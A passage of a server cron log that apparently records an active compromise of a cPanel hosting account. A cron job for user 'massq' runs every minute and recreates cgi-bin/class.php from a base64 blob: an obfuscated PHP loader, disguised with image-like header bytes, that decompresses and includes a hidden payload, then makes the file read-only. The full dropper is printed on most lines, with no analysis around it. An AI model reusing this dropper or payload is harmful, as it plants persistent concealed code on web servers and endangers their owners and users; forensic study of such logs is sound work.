ZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 18:50:01 server CROND[11019]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  7 18:50:01 server CROND[11022]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 18:50:01 server CROND[11020]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 18:50:01 server CROND[11021]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 18:50:01 server CROND[11023]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 18:51:01 server CROND[11122]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 18:52:01 server CROND[11280]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 18:53:01 server CROND[11361]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 18:54:01 server CROND[11429]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 18:55:01 server CROND[11493]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 18:55:01 server CROND[11495]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 18:55:01 server CROND[11494]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 18:56:01 server CROND[11598]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 18:57:01 server CROND[11668]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 18:57:01 server CROND[11670]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  7 18:58:01 server CROND[11827]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 18:59:01 server CROND[11898]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 19:00:01 server CROND[11946]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 19:00:01 server CROND[11948]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 19:00:01 server CROND[11947]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 19:00:01 server CROND[11949]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 19:01:01 server CROND[12077]: (root) CMD (run-parts /etc/cron.hourly)
Apr  7 19:01:01 server CROND[12078]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 19:01:01 server run-parts(/etc/cron.hourly)[12077]: starting 0anacron
Apr  7 19:01:01 server run-parts(/etc/cron.hourly)[12090]: finished 0anacron
Apr  7 19:02:01 server CROND[12147]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
